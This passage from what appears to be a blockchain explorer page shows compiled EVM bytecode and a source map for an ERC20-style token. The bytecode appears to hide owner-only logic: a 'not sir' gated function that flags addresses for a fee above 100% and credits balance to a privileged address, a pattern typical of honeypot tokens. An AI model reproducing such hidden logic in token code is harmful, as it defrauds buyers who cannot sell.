00808284611d4c9190612370565b905083811015611d91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d88906129bd565b60405180910390fd5b8091505092915050565b6000611ddd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611de5565b905092915050565b60008083118290611e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e239190611ed8565b60405180910390fd5b5060008385611e3b91906126fd565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e82578082015181840152602081019050611e67565b60008484015250505050565b6000601f19601f8301169050919050565b6000611eaa82611e48565b611eb48185611e53565b9350611ec4818560208601611e64565b611ecd81611e8e565b840191505092915050565b60006020820190508181036000830152611ef28184611e9f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f2a82611eff565b9050919050565b611f3a81611f1f565b8114611f4557600080fd5b50565b600081359050611f5781611f31565b92915050565b6000819050919050565b611f7081611f5d565b8114611f7b57600080fd5b50565b600081359050611f8d81611f67565b92915050565b60008060408385031215611faa57611fa9611efa565b5b6000611fb885828601611f48565b9250506020611fc985828601611f7e565b9150509250929050565b60008115159050919050565b611fe881611fd3565b82525050565b60006020820190506120036000830184611fdf565b92915050565b600061201482611eff565b9050919050565b61202481612009565b82525050565b600060208201905061203f600083018461201b565b92915050565b6000819050919050565b600061206a61206561206084611eff565b612045565b611eff565b9050919050565b600061207c8261204f565b9050919050565b600061208e82612071565b9050919050565b61209e81612083565b82525050565b60006020820190506120b96000830184612095565b92915050565b6120c881611f5d565b82525050565b60006020820190506120e360008301846120bf565b92915050565b60008060006060848603121561210257612101611efa565b5b600061211086828701611f48565b935050602061212186828701611f48565b925050604061213286828701611f7e565b9150509250925092565b61214581611f1f565b82525050565b6000602082019050612160600083018461213c565b92915050565b600060ff82169050919050565b61217c81612166565b82525050565b60006020820190506121976000830184612173565b92915050565b6000602082840312156121b3576121b2611efa565b5b60006121c184828501611f48565b91505092915050565b600080604083850312156121e1576121e0611efa565b5b60006121ef85828601611f48565b925050602061220085828601611f48565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612240602083611e53565b915061224b8261220a565b602082019050919050565b6000602082019050818103600083015261226f81612233565b9050919050565b60008151905061228581611f31565b92915050565b6000602082840312156122a1576122a0611efa565b5b60006122af84828501612276565b91505092915050565b60006040820190506122cd600083018561213c565b6122da602083018461213c565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061232857607f821691505b60208210810361233b5761233a6122e1565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061237b82611f5d565b915061238683611f5d565b925082820190508082111561239e5761239d612341565b5b92915050565b60006123af82611f5d565b91506123ba83611f5d565b92508282026123c881611f5d565b915082820484148315176123df576123de612341565b5b5092915050565b60006123f182611f5d565b91506123fc83611f5d565b925082820390508181111561241457612413612341565b5b92915050565b7f6e6f742073697200000000000000000000000000000000000000000000000000600082015250565b6000612450600783611e53565b915061245b8261241a565b602082019050919050565b6000602082019050818103600083015261247f81612443565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006124e2602483611e53565b91506124ed82612486565b604082019050919050565b60006020820190508181036000830152612511816124d5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612574602283611e53565b915061257f82612518565b604082019050919050565b600060208201905081810360008301526125a381612567565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612606602583611e53565b9150612611826125aa565b604082019050919050565b60006020820190508181036000830152612635816125f9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612698602383611e53565b91506126a38261263c565b604082019050919050565b600060208201905081810360008301526126c78161268b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061270882611f5d565b915061271383611f5d565b925082612723576127226126ce565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061278a602183611e53565b91506127958261272e565b604082019050919050565b600060208201905081810360008301526127b98161277d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b600061284361283e6128398461281e565b612045565b611f5d565b9050919050565b61285381612828565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61288e81611f1f565b82525050565b60006128a08383612885565b60208301905092915050565b6000602082019050919050565b60006128c482612859565b6128ce8185612864565b93506128d983612875565b8060005b8381101561290a5781516128f18882612894565b97506128fc836128ac565b9250506001810190506128dd565b5085935050505092915050565b600060a08201905061292c60008301886120bf565b612939602083018761284a565b818103604083015261294b81866128b9565b905061295a606083018561213c565b61296760808301846120bf565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006129a7601b83611e53565b91506129b282612971565b602082019050919050565b600060208201905081810360008301526129d68161299a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205667c3f9dc1cea37384a58c023c0b9f29676237d642d2c0e0cb364ca27d576ca64736f6c63430008120033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c80634a74bb02116100ab578063a9059cbb1161006f578063a9059cbb14610405578063c816841b14610442578063dd62ed3e1461046d578063ede79616146104aa578063f2fde38b146104d3578063fb3ddf85146104fc57610135565b80634a74bb021461030a57806370a08231146103355780638da5cb5b1461037257806395d89b411461039d578063a35521ef146103c857610135565b806318160ddd116100f257806318160ddd1461020f57806323b872dd1461023a57806327c8f83514610277578063313ce567146102a25780633345611e146102cd57610135565b806301339c211461013a57806306fdde0314610151578063095ea7b31461017c578063124b4e63146101b95780631694505e146101e457610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b005b34801561015d57600080fd5b506101666108e4565b6040516101739190611ed8565b60405180910390f35b34801561018857600080fd5b506101a3600480360381019061019e9190611f93565b610976565b6040516101b09190611fee565b60405180910390f35b3480156101c557600080fd5b506101ce610994565b6040516101db919061202a565b60405180910390f35b3480156101f057600080fd5b506101f96109ba565b60405161020691906120a4565b60405180910390f35b34801561021b57600080fd5b506102246109e0565b60405161023191906120ce565b60405180910390f35b34801561024657600080fd5b50610261600480360381019061025c91906120e9565b6109ea565b60405161026e9190611fee565b60405180910390f35b34801561028357600080fd5b5061028c610ac4565b604051610299919061214b565b60405180910390f35b3480156102ae57600080fd5b506102b7610ae8565b6040516102c49190612182565b60405180910390f35b3480156102d957600080fd5b506102f460048036038101906102ef919061219d565b610aff565b6040516103019190611fee565b60405180910390f35b34801561031657600080fd5b5061031f610b1f565b60405161032c9190611fee565b60405180910390f35b34801561034157600080fd5b5061035c6004803603810190610357919061219d565b610b32565b60405161036991906120ce565b60405180910390f35b34801561037e57600080fd5b50610387610b7b565b604051610394919061214b565b60405180910390f35b3480156103a957600080fd5b506103b2610ba4565b6040516103bf9190611ed8565b60405180910390f35b3480156103d457600080fd5b506103ef60048036038101906103ea919061219d565b610c36565b6040516103fc91906120ce565b60405180910390f35b34801561041157600080fd5b5061042c60048036038101906104279190611f93565b610c4e565b6040516104399190611fee565b60405180910390f35b34801561044e57600080fd5b50610457610c6d565b604051610464919061214b565b60405180910390f35b34801561047957600080fd5b50610494600480360381019061048f91906121ca565b610c93565b6040516104a191906120ce565b60405180910390f35b3480156104b657600080fd5b506104d160048036038101906104cc9190611f93565b610d1a565b005b3480156104df57600080fd5b506104fa60048036038101906104f5919061219d565b610ebe565b005b34801561050857600080fd5b50610523600480360381019061051e919061219d565b611010565b6040516105309190611fee565b60405180910390f35b610541611030565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c590612256565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610632573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610656919061228b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e1919061228b565b6040518363ffffffff1660e01b81526004016106fe9291906122b8565b6020604051808303816000875af115801561071d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610741919061228b565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6060600180546108f390612310565b80601f016020809104026020016040519081016040528092919081815260200182805461091f90612310565b801561096c5780601f106109415761010080835404028352916020019161096c565b820191906000526020600020905b81548152906001019060200180831161094f57829003601f168201915b5050505050905090565b600061098a610983611030565b8484611038565b6001905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b60006109f7848484611201565b50610ab984610a04611030565b610ab4856040518060600160405280602881526020016129de60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a6a611030565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e19092919063ffffffff16565b611038565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600b60159054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610bb390612310565b80601f0160208091040260200160405190810160405280929190818152602001828054610bdf90612310565b8015610c2c5780601f10610c0157610100808354040283529160200191610c2c565b820191906000526020600020905b815481529060010190602001808311610c0f57829003601f168201915b5050505050905090565b60086020528060005260406000206000915090505481565b6000610c62610c5b611030565b8484611201565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600060649050600061012c9050610d45828284610d379190612370565b61164590919063ffffffff16565b6032610d519190612370565b8310610d6e57610d6d8384610d669190612370565b60046116bf565b5b82826003610d7c91906123a4565b82610d8791906123e6565b03610dd15782600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b828282610dde9190612370565b03610e285782600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b3373ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eaf90612466565b60405180910390fd5b50505050565b610ec6611030565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4a90612256565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60076020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109e906124f8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611116576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110d9061258a565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111f491906120ce565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611271576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112689061261c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d7906126ae565b60405180910390fd5b600b60149054906101000a900460ff16156113075761130084848461173a565b90506115da565b600061131230610b32565b9050600b60149054906101000a900460ff1615801561137b5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561138a576113898161190d565b5b6113dc83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7590919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114c25750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6114d5576114d08685611bbf565b6114d7565b835b905061152b81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3d90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115cb91906120ce565b60405180910390a36001925050505b9392505050565b6000838311158290611629576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116209190611ed8565b60405180910390fd5b506000838561163891906123e6565b9050809150509392505050565b600080830361165757600090506116b9565b6000828461166591906123a4565b905082848261167491906126fd565b146116b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ab906127a0565b60405180910390fd5b809150505b92915050565b81816000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461172f9190612370565b925050819055505050565b60006117c5826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e19092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185a82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3d90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118fa91906120ce565b60405180910390a3600190509392505050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611945576119446127c0565b5b6040519080825280602002602001820160405280156119735781602001602082028036833780820191505090505b509050308160008151811061198b5761198a6127ef565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a56919061228b565b81600181518110611a6a57611a696127ef565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611b2a959493929190612917565b600060405180830381600087803b158015611b4457600080fd5b505af1925050508015611b55575060015b50506000600b60146101000a81548160ff02191690831515021790555050565b6000611bb783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115e1565b905092915050565b600080611be96064611bdb60028661164590919063ffffffff16565b611d9b90919063ffffffff16565b90506000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611c5c57611c596064611c4b60678661164590919063ffffffff16565b611d9b90919063ffffffff16565b90505b6000811115611d215780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611cb49190612370565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d1891906120ce565b60405180910390a35b611d348184611b7590919063ffffffff16565b91505092915050565b6000808284611d4c9190612370565b905083811015611d91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d88906129bd565b60405180910390fd5b8091505092915050565b6000611ddd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611de5565b905092915050565b60008083118290611e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e239190611ed8565b60405180910390fd5b5060008385611e3b91906126fd565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e82578082015181840152602081019050611e67565b60008484015250505050565b6000601f19601f8301169050919050565b6000611eaa82611e48565b611eb48185611e53565b9350611ec4818560208601611e64565b611ecd81611e8e565b840191505092915050565b60006020820190508181036000830152611ef28184611e9f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f2a82611eff565b9050919050565b611f3a81611f1f565b8114611f4557600080fd5b50565b600081359050611f5781611f31565b92915050565b6000819050919050565b611f7081611f5d565b8114611f7b57600080fd5b50565b600081359050611f8d81611f67565b92915050565b60008060408385031215611faa57611fa9611efa565b5b6000611fb885828601611f48565b9250506020611fc985828601611f7e565b9150509250929050565b60008115159050919050565b611fe881611fd3565b82525050565b60006020820190506120036000830184611fdf565b92915050565b600061201482611eff565b9050919050565b61202481612009565b82525050565b600060208201905061203f600083018461201b565b92915050565b6000819050919050565b600061206a61206561206084611eff565b612045565b611eff565b9050919050565b600061207c8261204f565b9050919050565b600061208e82612071565b9050919050565b61209e81612083565b82525050565b60006020820190506120b96000830184612095565b92915050565b6120c881611f5d565b82525050565b60006020820190506120e360008301846120bf565b92915050565b60008060006060848603121561210257612101611efa565b5b600061211086828701611f48565b935050602061212186828701611f48565b925050604061213286828701611f7e565b9150509250925092565b61214581611f1f565b82525050565b6000602082019050612160600083018461213c565b92915050565b600060ff82169050919050565b61217c81612166565b82525050565b60006020820190506121976000830184612173565b92915050565b6000602082840312156121b3576121b2611efa565b5b60006121c184828501611f48565b91505092915050565b600080604083850312156121e1576121e0611efa565b5b60006121ef85828601611f48565b925050602061220085828601611f48565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612240602083611e53565b915061224b8261220a565b602082019050919050565b6000602082019050818103600083015261226f81612233565b9050919050565b60008151905061228581611f31565b92915050565b6000602082840312156122a1576122a0611efa565b5b60006122af84828501612276565b91505092915050565b60006040820190506122cd600083018561213c565b6122da602083018461213c565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061232857607f821691505b60208210810361233b5761233a6122e1565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061237b82611f5d565b915061238683611f5d565b925082820190508082111561239e5761239d612341565b5b92915050565b60006123af82611f5d565b91506123ba83611f5d565b92508282026123c881611f5d565b915082820484148315176123df576123de612341565b5b5092915050565b60006123f182611f5d565b91506123fc83611f5d565b925082820390508181111561241457612413612341565b5b92915050565b7f6e6f742073697200000000000000000000000000000000000000000000000000600082015250565b6000612450600783611e53565b915061245b8261241a565b602082019050919050565b6000602082019050818103600083015261247f81612443565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006124e2602483611e53565b91506124ed82612486565b604082019050919050565b60006020820190508181036000830152612511816124d5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612574602283611e53565b915061257f82612518565b604082019050919050565b600060208201905081810360008301526125a381612567565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612606602583611e53565b9150612611826125aa565b604082019050919050565b60006020820190508181036000830152612635816125f9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612698602383611e53565b91506126a38261263c565b604082019050919050565b600060208201905081810360008301526126c78161268b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061270882611f5d565b915061271383611f5d565b925082612723576127226126ce565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061278a602183611e53565b91506127958261272e565b604082019050919050565b600060208201905081810360008301526127b98161277d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b600061284361283e6128398461281e565b612045565b611f5d565b9050919050565b61285381612828565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61288e81611f1f565b82525050565b60006128a08383612885565b60208301905092915050565b6000602082019050919050565b60006128c482612859565b6128ce8185612864565b93506128d983612875565b8060005b8381101561290a5781516128f18882612894565b97506128fc836128ac565b9250506001810190506128dd565b5085935050505092915050565b600060a08201905061292c60008301886120bf565b612939602083018761284a565b818103604083015261294b81866128b9565b905061295a606083018561213c565b61296760808301846120bf565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006129a7601b83611e53565b91506129b282612971565b602082019050919050565b600060208201905081810360008301526129d68161299a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205667c3f9dc1cea37384a58c023c0b9f29676237d642d2c0e0cb364ca27d576ca64736f6c63430008120033

Deployed Bytecode Sourcemap

3685:6164:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6667:466;;;;;;;;;;;;;:::i;:::-;;4957:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5620:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3880:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4352:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5234:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6171:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3958:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5143:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4124:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4467:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5342:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2818:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5048:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4233:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6492:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4400:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5469:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9070:350;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3032:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4181:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6667:466;2955:12;:10;:12::i;:::-;2945:22;;:6;;;;;;;;;;:22;;;2937:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6712:35:::1;6769:42;6712:100;;6855:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6837:70;;;6916:4;6923:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6837:110;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6823:11;;:124;;;;;;;;;;;;;;;;;;6978:16;6960:15;;:34;;;;;;;;;;;;;;;;;;7042:4;7005:12;:34;7026:11;;;;;;;;;;;7005:34;;;;;;;;;;;;;;;;:41;;;;;;;;;;;;;;;;;;7121:1;7112:11;7057;:26;7077:4;7057:26;;;;;;;;;;;;;;;:52;7092:15;;;;;;;;;;;7057:52;;;;;;;;;;;;;;;:66;;;;6701:432;6667:466::o:0;4957:83::-;4994:13;5027:5;5020:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4957:83;:::o;5620:161::-;5695:4;5712:39;5721:12;:10;:12::i;:::-;5735:7;5744:6;5712:8;:39::i;:::-;5769:4;5762:11;;5620:161;;;;:::o;3880:26::-;;;;;;;;;;;;;:::o;4352:41::-;;;;;;;;;;;;;:::o;5234:100::-;5287:7;5314:12;;5307:19;;5234:100;:::o;6171:313::-;6269:4;6286:36;6296:6;6304:9;6315:6;6286:9;:36::i;:::-;;6333:121;6342:6;6350:12;:10;:12::i;:::-;6364:89;6402:6;6364:89;;;;;;;;;;;;;;;;;:11;:19;6376:6;6364:19;;;;;;;;;;;;;;;:33;6384:12;:10;:12::i;:::-;6364:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6333:8;:121::i;:::-;6472:4;6465:11;;6171:313;;;;;:::o;3958:81::-;;;:::o;5143:83::-;5184:5;5209:9;;;;;;;;;;;5202:16;;5143:83;:::o;4124:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;4467:40::-;;;;;;;;;;;;;:::o;5342:119::-;5408:7;5435:9;:18;